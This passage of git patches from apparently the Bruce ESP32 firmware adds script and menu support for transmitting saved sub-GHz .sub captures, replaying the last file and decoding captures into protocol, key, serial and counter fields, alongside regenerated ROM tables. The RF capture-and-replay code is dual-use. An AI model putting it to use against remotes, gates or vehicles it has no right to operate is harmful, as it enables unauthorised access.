-  325,
-  JS_ROM_VALUE(4239),
+  JS_ROM_VALUE(4236),
+  326,
+  JS_ROM_VALUE(4243),
   JS_NULL,
 
-  /* properties (offset=4288) */
+  /* properties (offset=4292) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -4596,7 +4600,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_GIF << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=4295) */
+  /* properties (offset=4299) */
   JS_VALUE_ARRAY_HEADER(21),
   5 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -4605,72 +4609,72 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   18 << 1,
   9 << 1,
   JS_ROM_VALUE(1593) /* gifPlayFrame */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 337),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 338),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1598) /* gifDimensions */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 338),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 339),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1603) /* gifReset */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 339),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 340),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(1607) /* gifClose */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 340),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 341),
   (12 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_GIF - 1) << 1,
   (15 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=4317) */
+  /* class (offset=4321) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4288),
-  336,
-  JS_ROM_VALUE(4295),
+  JS_ROM_VALUE(4292),
+  337,
+  JS_ROM_VALUE(4299),
   JS_NULL,
 
-  /* properties (offset=4322) */
+  /* properties (offset=4326) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
   6 << 1,
   JS_ROM_VALUE(1614) /* from */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 342),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 343),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_BUFFER << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=4332) */
+  /* properties (offset=4336) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
   6 << 1,
   JS_ROM_VALUE(136) /* toString */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 343),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 344),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_BUFFER - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=4342) */
+  /* class (offset=4346) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4322),
-  341,
-  JS_ROM_VALUE(4332),
+  JS_ROM_VALUE(4326),
+  342,
+  JS_ROM_VALUE(4336),
   JS_NULL,
 
-  /* properties (offset=4347) */
+  /* properties (offset=4351) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
   3 << 1,
   JS_ROM_VALUE(1537) /* TimersState */,
-  JS_ROM_VALUE(4103),
+  JS_ROM_VALUE(4107),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=4354) */
+  /* class (offset=4358) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4347),
+  JS_ROM_VALUE(4351),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* global object properties (offset=4359) */
+  /* global object properties (offset=4363) */
   JS_VALUE_ARRAY_HEADER(178),
   JS_ROM_VALUE(224) /* Object */,
   JS_ROM_VALUE(2113),
@@ -4733,11 +4737,11 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(297) /* parseFloat */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 21),
   JS_ROM_VALUE(165) /* eval */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 344),
-  JS_ROM_VALUE(768) /* isNaN */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 345),
-  JS_ROM_VALUE(771) /* isFinite */,
+  JS_ROM_VALUE(768) /* isNaN */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 346),
+  JS_ROM_VALUE(771) /* isFinite */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 347),
   JS_ROM_VALUE(197) /* Infinity */,
   JS_ROM_VALUE(3251),
   JS_ROM_VALUE(195) /* NaN */,
@@ -4751,49 +4755,49 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(782) /* performance */,
   JS_ROM_VALUE(3276),
   JS_ROM_VALUE(786) /* gc */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 347),
-  JS_ROM_VALUE(788) /* load */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 348),
-  JS_ROM_VALUE(791) /* setTimeout */,
+  JS_ROM_VALUE(788) /* load */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 349),
-  JS_ROM_VALUE(795) /* clearTimeout */,
+  JS_ROM_VALUE(791) /* setTimeout */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 350),
-  JS_ROM_VALUE(800) /* setInterval */,
+  JS_ROM_VALUE(795) /* clearTimeout */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 351),
-  JS_ROM_VALUE(804) /* clearInterval */,
+  JS_ROM_VALUE(800) /* setInterval */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 352),
+  JS_ROM_VALUE(804) /* clearInterval */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 353),
   JS_ROM_VALUE(809) /* exports */,
   JS_ROM_VALUE(3285),
   JS_ROM_VALUE(812) /* assert */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 353),
-  JS_ROM_VALUE(815) /* require */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 354),
-  JS_ROM_VALUE(592) /* now */,
+  JS_ROM_VALUE(815) /* require */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 355),
-  JS_ROM_VALUE(818) /* delay */,
+  JS_ROM_VALUE(592) /* now */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 356),
-  JS_ROM_VALUE(555) /* random */,
+  JS_ROM_VALUE(818) /* delay */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 357),
-  JS_ROM_VALUE(821) /* parse_int */,
+  JS_ROM_VALUE(555) /* random */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 358),
-  JS_ROM_VALUE(825) /* to_string */,
+  JS_ROM_VALUE(821) /* parse_int */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 359),
-  JS_ROM_VALUE(829) /* to_hex_string */,
+  JS_ROM_VALUE(825) /* to_string */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 360),
-  JS_ROM_VALUE(834) /* to_lower_case */,
+  JS_ROM_VALUE(829) /* to_hex_string */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 361),
-  JS_ROM_VALUE(839) /* to_upper_case */,
+  JS_ROM_VALUE(834) /* to_lower_case */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 362),
-  JS_ROM_VALUE(844) /* atob */,
+  JS_ROM_VALUE(839) /* to_upper_case */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 363),
-  JS_ROM_VALUE(847) /* btoa */,
+  JS_ROM_VALUE(844) /* atob */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 364),
-  JS_ROM_VALUE(850) /* atob_bin */,
+  JS_ROM_VALUE(847) /* btoa */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 365),
-  JS_ROM_VALUE(854) /* btoa_bin */,
+  JS_ROM_VALUE(850) /* atob_bin */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 366),
-  JS_ROM_VALUE(858) /* exit */,
+  JS_ROM_VALUE(854) /* btoa_bin */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 367),
+  JS_ROM_VALUE(858) /* exit */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 368),
   JS_ROM_VALUE(861) /* audio */,
   JS_ROM_VALUE(3300),
   JS_ROM_VALUE(871) /* badusb */,
@@ -4827,29 +4831,29 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1409) /* subghz */,
   JS_ROM_VALUE(3935),
   JS_ROM_VALUE(1427) /* subghzAdvanced */,
-  JS_ROM_VALUE(3950),
+  JS_ROM_VALUE(3954),
   JS_ROM_VALUE(1436) /* wifi */,
-  JS_ROM_VALUE(3986),
+  JS_ROM_VALUE(3990),
   JS_ROM_VALUE(1469) /* ble */,
-  JS_ROM_VALUE(4005),
+  JS_ROM_VALUE(4009),
   JS_ROM_VALUE(1480) /* nrf24 */,
-  JS_ROM_VALUE(4032),
+  JS_ROM_VALUE(4036),
   JS_ROM_VALUE(1497) /* led */,
-  JS_ROM_VALUE(4054),
+  JS_ROM_VALUE(4058),
   JS_ROM_VALUE(1505) /* menu */,
-  JS_ROM_VALUE(4084),
+  JS_ROM_VALUE(4088),
   JS_ROM_VALUE(1537) /* TimersState */,
-  JS_ROM_VALUE(4103),
+  JS_ROM_VALUE(4107),
   JS_ROM_VALUE(1541) /* Sprite */,
-  JS_ROM_VALUE(4227),
+  JS_ROM_VALUE(4231),
   JS_ROM_VALUE(1553) /* TextViewer */,
-  JS_ROM_VALUE(4283),
+  JS_ROM_VALUE(4287),
   JS_ROM_VALUE(1591) /* Gif */,
-  JS_ROM_VALUE(4317),
+  JS_ROM_VALUE(4321),
   JS_ROM_VALUE(1611) /* Buffer */,
-  JS_ROM_VALUE(4342),
+  JS_ROM_VALUE(4346),
   JS_ROM_VALUE(1617) /* __internal_functions */,
-  JS_ROM_VALUE(4354),
+  JS_ROM_VALUE(4358),
 };
 
 static const JSCFunctionDef js_c_function_table[] = {
@@ -5738,6 +5742,9 @@ static const JSCFunctionDef js_c_function_table[] = {
   { { .generic = native_subghzAdvancedAnalyzeFile },
     JS_ROM_VALUE(1432) /* analyzeFile */,
     JS_CFUNC_generic, 1, 0 },
+  { { .generic = native_subghzAdvancedTransmitFile },
+    JS_ROM_VALUE(1239) /* transmitFile */,
+    JS_CFUNC_generic, 2, 0 },
   { { .generic = native_wifiConnected },
     JS_ROM_VALUE(1439) /* connected */,
     JS_CFUNC_generic, 0, 0 },
@@ -5974,10 +5981,10 @@ const JSSTDLibraryDef js_stdlib = {
   js_stdlib_table,
   js_c_function_table,
   js_c_finalizer_table,
-  4538,
+  4542,
   64,
   1624,
-  4359,
+  4363,
   JS_CLASS_COUNT,
 };
 
diff --git a/src/modules/bjs_interpreter/subghz_js.cpp b/src/modules/bjs_interpreter/subghz_js.cpp
index 5ab57a9b8..e8ae89f5b 100644
--- a/src/modules/bjs_interpreter/subghz_js.cpp
+++ b/src/modules/bjs_interpreter/subghz_js.cpp
@@ -206,4 +206,17 @@ JSValue native_subghzAdvancedAnalyzeFile(JSContext *ctx, JSValue *this_val, int
     return JS_NewString(ctx, frame.toJson().c_str());
 }
 
+JSValue native_subghzAdvancedTransmitFile(JSContext *ctx, JSValue *this_val, int argc, JSValue *argv) {
+    const char *filepath = NULL;
+    JSCStringBuf filepath_buf;
+    if (argc > 0 && JS_IsString(ctx, argv[0])) filepath = JS_ToCString(ctx, argv[0], &filepath_buf);
+    if (filepath == NULL) return JS_NewBool(false);
+
+    bool hideDefaultUI = true;
+    if (argc > 1 && JS_IsBool(argv[1])) hideDefaultUI = JS_ToBool(ctx, argv[1]);
+
+    bool ok = SubGhzAdvancedEngine::instance().transmitPathAuto(String(filepath), hideDefaultUI);
+    return JS_NewBool(ok);
+}
+
 #endif
diff --git a/src/modules/bjs_interpreter/subghz_js.h b/src/modules/bjs_interpreter/subghz_js.h
index 42e53e321..3eca5d8b0 100644
--- a/src/modules/bjs_interpreter/subghz_js.h
+++ b/src/modules/bjs_interpreter/subghz_js.h
@@ -22,6 +22,7 @@ JSValue native_subghzTxEnd(JSContext *ctx, JSValue *this_val, int argc, JSValue
 // Advanced SubGHz API
 JSValue native_subghzAdvancedRead(JSContext *ctx, JSValue *this_val, int argc, JSValue *argv);
 JSValue native_subghzAdvancedAnalyzeFile(JSContext *ctx, JSValue *this_val, int argc, JSValue *argv);
+JSValue native_subghzAdvancedTransmitFile(JSContext *ctx, JSValue *this_val, int argc, JSValue *argv);
 
 #ifdef __cplusplus
 }
diff --git a/src/modules/subghz_advanced/subghz_advanced_engine.cpp b/src/modules/subghz_advanced/subghz_advanced_engine.cpp
index 7ecebc61d..1e975828c 100644
--- a/src/modules/subghz_advanced/subghz_advanced_engine.cpp
+++ b/src/modules/subghz_advanced/subghz_advanced_engine.cpp
@@ -2,6 +2,7 @@
 
 #include "core/sd_functions.h"
 #include "modules/rf/rf_scan.h"
+#include "modules/rf/rf_send.h"
 #include "subghz_advanced_decoder_adapter.h"
 #include "subghz_advanced_subfile_codec.h"
 
@@ -96,6 +97,33 @@ bool SubGhzAdvancedEngine::analyzePathAuto(const String& inputPath, SubGhzAdvanc
     return false;
 }
 
+bool SubGhzAdvancedEngine::transmitSubFile(FS* fs, const String& path, bool hideDefaultUI) {
+    begin();
+    if(fs == nullptr) return false;
+    if(!fs->exists(path)) return false;
+
+    // Keep the frame history aligned with TX actions whenever the file is parseable.
+    SubGhzAdvancedFrame frame;
+    analyzeSubFile(fs, path, frame);
+
+    RfCodes data{};
+    return readSubFile(fs, path, data) && txSubFile(data, hideDefaultUI);
+}
+
+bool SubGhzAdvancedEngine::transmitPathAuto(const String& inputPath, bool hideDefaultUI) {
+    begin();
+    String path = inputPath;
+    normalizePath(path);
+
+    if(setupSdCard() && SD.exists(path)) {
+        return transmitSubFile(&SD, path, hideDefaultUI);
+    }
+    if(LittleFS.exists(path)) {
+        return transmitSubFile(&LittleFS, path, hideDefaultUI);
+    }
+    return false;
+}
+
 bool SubGhzAdvancedEngine::readAndDecode(float freqMHz, int timeoutSec, SubGhzAdvancedFrame& frame) {
     begin();
     if(freqMHz <= 0.0f) freqMHz = bruceConfigPins.rfFreq;
diff --git a/src/modules/subghz_advanced/subghz_advanced_engine.h b/src/modules/subghz_advanced/subghz_advanced_engine.h
index dd77d422e..2a4dc7858 100644
--- a/src/modules/subghz_advanced/subghz_advanced_engine.h
+++ b/src/modules/subghz_advanced/subghz_advanced_engine.h
@@ -24,6 +24,8 @@ class SubGhzAdvancedEngine {
     SubGhzAdvancedFrame analyzeSubFileText(const String& text, const String& source = "");
     bool analyzeSubFile(FS* fs, const String& path, SubGhzAdvancedFrame& frame);
     bool analyzePathAuto(const String& path, SubGhzAdvancedFrame& frame);
+    bool transmitSubFile(FS* fs, const String& path, bool hideDefaultUI = false);
+    bool transmitPathAuto(const String& path, bool hideDefaultUI = false);
 
     bool readAndDecode(float freqMHz, int timeoutSec, SubGhzAdvancedFrame& frame);
 
diff --git a/src/modules/subghz_advanced/subghz_advanced_menu.cpp b/src/modules/subghz_advanced/subghz_advanced_menu.cpp
index 100555fa9..04ee5148c 100644
--- a/src/modules/subghz_advanced/subghz_advanced_menu.cpp
+++ b/src/modules/subghz_advanced/subghz_advanced_menu.cpp
@@ -9,6 +9,8 @@
 #include <globals.h>
 
 static SubGhzAdvancedEngine& eng = SubGhzAdvancedEngine::instance();
+static String lastTxPath = "";
+static bool lastTxOnSd = false;
 
 static void showFrame(const SubGhzAdvancedFrame& f, const String& title) {
     drawMainBorderWithTitle(title);
@@ -28,6 +30,28 @@ static void showFrame(const SubGhzAdvancedFrame& f, const String& title) {
     while(check(AnyKeyPress)) delay(20);
 }
 
+static bool chooseSubFile(FS*& fs, String& path) {
+    fs = &LittleFS;
+    options = {
+        {"LittleFS", [&]() { fs = &LittleFS; }},
+    };
+    if(setupSdCard()) options.insert(options.begin(), {"SD Card", [&]() { fs = &SD; }});
+    loopOptions(options);
+
+    path = loopSD(*fs, true, "SUB", "/BruceRF");
+    return path.length() > 0;
+}
+
+static bool getLastTxFs(FS*& fs) {
+    if(lastTxOnSd) {
+        if(!setupSdCard()) return false;
+        fs = &SD;
+        return true;
+    }
+    fs = &LittleFS;
+    return true;
+}
+
 static void actionScanAndIdentify() {
     SubGhzAdvancedFrame frame;
     bool ok = eng.readAndDecode(bruceConfigPins.rfFreq, 10, frame);
@@ -39,15 +63,9 @@ static void actionScanAndIdentify() {
 }
 
 static void actionAnalyzeSubFile() {
-    FS* fs = &LittleFS;
-    options = {
-        {"LittleFS", [&]() { fs = &LittleFS; }},
-    };
-    if(setupSdCard()) options.insert(options.begin(), {"SD Card", [&]() { fs = &SD; }});
-    loopOptions(options);
-
-    String path = loopSD(*fs, true, "SUB", "/BruceRF");
-    if(path.length() == 0) return;
+    FS* fs = nullptr;
+    String path = "";
+    if(!chooseSubFile(fs, path)) return;
 
     SubGhzAdvancedFrame frame;
     if(!eng.analyzeSubFile(fs, path, frame)) {
@@ -58,6 +76,58 @@ static void actionAnalyzeSubFile() {
     showFrame(frame, "Analyze .sub");
 }
 
+static void actionAnalyzeLastTxFile() {
+    if(lastTxPath.length() == 0) {
+        displayInfo("No last TX file", true);
+        return;
+    }
+
+    FS* fs = nullptr;
+    if(!getLastTxFs(fs) || !fs->exists(lastTxPath)) {
+        displayError("Last TX file unavailable", true);
+        return;
+    }
+
+    SubGhzAdvancedFrame frame;
+    if(!eng.analyzeSubFile(fs, lastTxPath, frame)) {
+        displayError("Unable to parse last TX file", true);
+        return;
+    }
+
+    showFrame(frame, "Analyze Last TX");
+}
+
+static void actionTransmitSubFile() {
+    FS* fs = nullptr;
+    String path = "";
+    if(!chooseSubFile(fs, path)) return;
+
+    if(!eng.transmitSubFile(fs, path, false)) {
+        displayError("Unable to transmit .sub", true);
+        return;
+    }
+
+    lastTxPath = path;
+    lastTxOnSd = (fs == &SD);
+}
+
+static void actionTransmitLastSubFile() {
+    if(lastTxPath.length() == 0) {
+        displayInfo("No last TX file", true);
+        return;
+    }
+
+    FS* fs = nullptr;
+    if(!getLastTxFs(fs) || !fs->exists(lastTxPath)) {
+        displayError("Last TX file unavailable", true);
+        return;
+    }
+
+    if(!eng.transmitSubFile(fs, lastTxPath, false)) {
+        displayError("Unable to transmit last file", true);
+    }
+}
+
 static void actionRecent() {
     const auto& recent = eng.getRecent();
     if(recent.empty()) {
@@ -87,12 +157,39 @@ static void actionSettings() {
     loopOptions(settings, MENU_TYPE_SUBMENU, "SubGHz Settings", idx);
 }
 
+static void actionRxMenu() {
+    std::vector<Option> rx = {
+        {"Scan & Identify", actionScanAndIdentify},
+    };
+    addOptionToMainMenu();
+    loopOptions(rx, MENU_TYPE_SUBMENU, "SubGHz RX");
+}
+
+static void actionTxMenu() {
+    std::vector<Option> tx = {
+        {"Transmit .sub", actionTransmitSubFile},
+        {"Transmit Last", actionTransmitLastSubFile},
+    };
+    addOptionToMainMenu();
+    loopOptions(tx, MENU_TYPE_SUBMENU, "SubGHz TX");
+}
+
+static void actionAnalyzeMenu() {
+    std::vector<Option> analyze = {
+        {"Analyze .sub", actionAnalyzeSubFile},
+        {"Analyze Last TX", actionAnalyzeLastTxFile},
+    };
+    addOptionToMainMenu();
+    loopOptions(analyze, MENU_TYPE_SUBMENU, "SubGHz Analyze");
+}
+
 void subghz_advanced_menu() {
     eng.begin();
 
     options = {
-        {"Scan & Identify", actionScanAndIdentify},
-        {"Analyze .sub", actionAnalyzeSubFile},
+        {"RX", actionRxMenu},
+        {"TX", actionTxMenu},
+        {"Analyze", actionAnalyzeMenu},
         {"Recent", actionRecent},
         {"Settings", actionSettings},
     };

From a11db2322d5246465bd1981fefc682849b9d8819 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Sat, 23 May 2026 09:44:40 -0300
Subject: [PATCH 62/73] fix build

---
 src/modules/ble/ble_common.cpp | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/src/modules/ble/ble_common.cpp b/src/modules/ble/ble_common.cpp
index e8bac91b6..293f00680 100644
--- a/src/modules/ble/ble_common.cpp
+++ b/src/modules/ble/ble_common.cpp
@@ -2,8 +2,8 @@
 #include "core/mykeyboard.h"
 #include "core/utils.h"
 #include "core/wifi/wifi_common.h"
-#include "modules/badusb_ble/ducky_typer.h"
 #include "esp_mac.h"
+#include "modules/badusb_ble/ducky_typer.h"
 #if !defined(LITE_VERSION)
 #include "BLE_Suite.h"
 #endif
@@ -98,8 +98,8 @@ void stopBLEStack() {
         BLEStateManager::deinitBLE(true);
     } else
 #endif
-        if (BLEDevice::getScan() != nullptr || BLEDevice::getAdvertising() != nullptr || BLEDevice::getServer() != nullptr
-            || BLEConnected || is_ble_inited) {
+        if (BLEDevice::getScan() != nullptr || BLEDevice::getAdvertising() != nullptr ||
+            BLEDevice::getServer() != nullptr || BLEConnected || is_ble_inited) {
         BLEDevice::deinit();
     }
 
@@ -113,9 +113,12 @@ void stopBLEStack() {
     bleDataTransferEnabled = false;
     is_ble_inited = false;
     BLEConnected = false;
-
-    delete hid_ble;
-    hid_ble = nullptr;
+#if !defined(LITE_VERSION)
+    if (hid_ble) {
+        delete hid_ble;
+        hid_ble = nullptr;
+    }
+#endif
 }
 
 void ble_scan_setup() {

From 319a4a436dca1aeea7548f5c3158cc64a6e7f921 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?John=2E=20Sabb=C3=A1?= <victorsabba@gmail.com>
Date: Sat, 23 May 2026 09:48:16 -0300
Subject: [PATCH 63/73] SubGHz: add scan/copy, decoder UI, rolling UI and
 legacy decode enrichment

---
 src/modules/rf/rf_scan.cpp                    | 121 ++++++++-
 src/modules/rf/structs.h                      |  11 +-
 .../subghz_advanced/subghz_advanced_menu.cpp  | 244 ++++++++++++++++++
 3 files changed, 370 insertions(+), 6 deletions(-)

diff --git a/src/modules/rf/rf_scan.cpp b/src/modules/rf/rf_scan.cpp
index 34bdcb0d7..d786965af 100644
--- a/src/modules/rf/rf_scan.cpp
+++ b/src/modules/rf/rf_scan.cpp
@@ -2,10 +2,102 @@
 #include "core/led_control.h"
 #include "core/sd_functions.h"
 #include "core/type_convertion.h"
+#include "modules/subghz_advanced/subghz_advanced_decoder_adapter.h"
 #include "rf_send.h"
 #include <globals.h>
+#include <stdlib.h>
 #include <sstream>
 
+static void clearDetectedMetadata(RfCodes &code) {
+    code.detected_protocol = "";
+    code.detected_key_hex = "";
+    code.detected_counter = "";
+    code.detected_button = "";
+    code.detected_serial = "";
+}
+
+static uint64_t parseHexU64(String value) {
+    value.trim();
+    value.replace(" ", "");
+    if (value.startsWith("0x") || value.startsWith("0X")) value = value.substring(2);
+    if (value.length() == 0) return 0;
+    return strtoull(value.c_str(), NULL, 16);
+}
+
+static uint32_t parseFlexibleU32(String value) {
+    value.trim();
+    if (value.length() == 0) return 0;
+
+    bool treatAsHex = value.startsWith("0x") || value.startsWith("0X");
+    if (!treatAsHex) {
+        for (size_t i = 0; i < value.length(); i++) {
+            char c = value[i];
+            if ((c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
+                treatAsHex = true;
+                break;
+            }
+        }
+    }
+
+    if (treatAsHex && (value.startsWith("0x") || value.startsWith("0X"))) value = value.substring(2);
+    return strtoul(value.c_str(), NULL, treatAsHex ? 16 : 10);
+}
+
+static String buildLegacyCaptureText(const RfCodes &received, bool rawMode) {
+    String out = "Filetype: Bruce SubGhz File\nVersion 1\n";
+    uint32_t frequencyHz = received.frequency ? received.frequency : uint32_t(bruceConfigPins.rfFreq * 1000000);
+    out += "Frequency: " + String(frequencyHz) + "\n";
+    out += "Preset: " + String(received.preset) + "\n";
+    out += "Protocol: " + String(rawMode ? "RAW" : "RcSwitch") + "\n";
+
+    if (received.Bit > 0) out += "Bit: " + String(received.Bit) + "\n";
+    if (received.key > 0) {
+        char keyHex[64] = {0};
+        decimalToHexString(received.key, keyHex);
+        out += "Key: " + String(keyHex) + "\n";
+    }
+    if (received.te > 0) out += "TE: " + String(received.te) + "\n";
+    if (received.data.length()) out += "RAW_Data: " + received.data + "\n";
+
+    return out;
+}
+
+static void appendDetectedMetadata(String &subfileOut, const RfCodes &codes) {
+    if (codes.detected_protocol.length()) subfileOut += "Detected_Protocol: " + codes.detected_protocol + "\n";
+    if (codes.detected_key_hex.length()) subfileOut += "Detected_Key: " + codes.detected_key_hex + "\n";
+    if (codes.detected_serial.length()) subfileOut += "Detected_Serial: " + codes.detected_serial + "\n";
+    if (codes.detected_button.length()) subfileOut += "Detected_Button: " + codes.detected_button + "\n";
+    if (codes.detected_counter.length()) subfileOut += "Detected_Counter: " + codes.detected_counter + "\n";
+}
+
+static void enrichLegacyWithAdvancedDecoder(RfCodes &received, bool rawMode) {
+    clearDetectedMetadata(received);
+
+#ifdef SUBGHZ_ADV_PROFILE_FULL
+    const bool fullProfile = true;
+#else
+    const bool fullProfile = false;
+#endif
+
+    String capture = buildLegacyCaptureText(received, rawMode);
+    SubGhzAdvancedFrame frame =
+        SubGhzAdvancedDecoderAdapter::decodeBruceCapture(capture, "legacy-rf-scan", fullProfile);
+    if (!frame.valid) return;
+
+    if (frame.protocol_name.length() && frame.protocol_name != "Unknown" && frame.protocol_name != "RAW")
+        received.detected_protocol = frame.protocol_name;
+    if (frame.key_hex.length()) received.detected_key_hex = frame.key_hex;
+    if (frame.serial.length()) received.detected_serial = frame.serial;
+    if (frame.button.length()) received.detected_button = frame.button;
+    if (frame.counter.length()) received.detected_counter = frame.counter;
+
+    if (!received.key && frame.key_hex.length()) received.key = parseHexU64(frame.key_hex);
+    if (!received.serial && frame.serial.length()) received.serial = uint32_t(parseHexU64(frame.serial));
+    if (!received.btn && frame.button.length()) received.btn = uint8_t(parseFlexibleU32(frame.button));
+    if (!received.cnt && frame.counter.length()) received.cnt = uint16_t(parseFlexibleU32(frame.counter));
+    if (!received.Bit && frame.bit_count > 0) received.Bit = frame.bit_count;
+}
+
 RFScan::RFScan() { setup(); }
 
 RFScan::~RFScan() { deinitRfModule(); }
@@ -203,6 +295,9 @@ void RFScan::read_rcswitch() {
             keeloq_identify(received);
         }
 
+        // Keep legacy replay/transmit semantics while attaching real protocol metadata.
+        enrichLegacyWithAdvancedDecoder(received, false);
+
         frequency = 0;
         display_info(received, signals, ReadRAW, codesOnly, autoSave, title);
     }
@@ -279,6 +374,8 @@ void RFScan::read_raw() {
             keeloq_identify(received);
         }
 
+        enrichLegacyWithAdvancedDecoder(received, true);
+
         frequency = 0;
         display_info(received, signals, ReadRAW, codesOnly, autoSave, title);
     }
@@ -292,6 +389,7 @@ void RFScan::read_raw() {
         received.key = crc64_ecma(durations); // Calculate CRC-64
         received.indexed_durations = indexed_durations;
         received.Bit = durations.size();
+        enrichLegacyWithAdvancedDecoder(received, true);
         frequency = 0;
         display_info(received, signals, ReadRAW, codesOnly, autoSave, title);
     }
@@ -305,6 +403,7 @@ void RFScan::read_raw() {
         received.key = 0;
         received.indexed_durations = {};
         received.Bit = 0;
+        enrichLegacyWithAdvancedDecoder(received, true);
         frequency = 0;
         display_info(received, signals, ReadRAW, codesOnly, autoSave, title);
     }
@@ -420,6 +519,7 @@ void RFScan::reset_signals() {
     received.key = 0;
     received.preset = "";
     received.protocol = "";
+    clearDetectedMetadata(received);
     signals = 0;
     received.fix = 0;
     received.hop = 0;
@@ -484,7 +584,7 @@ void display_info(RfCodes received, int signals, bool ReadRAW, bool codesOnly, b
 
     tft.setTextColor(getColorVariation(bruceConfig.priColor), bruceConfig.bgColor);
 
-    if (!ReadRAW) padprintln("Recording: Only RCSwitch codes.");
+    if (!ReadRAW) padprintln("Recording: RCSwitch + advanced identify.");
     else if (codesOnly) padprintln("Recording: RAW with CRC or RCSwitch.");
     else padprintln("Recording: Any RAW signal.");
 
@@ -510,6 +610,8 @@ void display_signal_data(RfCodes received) {
 
     while (ss >> palavra) transitions++;
 
+    if (received.detected_protocol.length()) padprintln("Detected: " + received.detected_protocol);
+
     if (received.preset != "") {
         if (received.fix != 0) {
             padprintln("Protocol: KeeLoq");
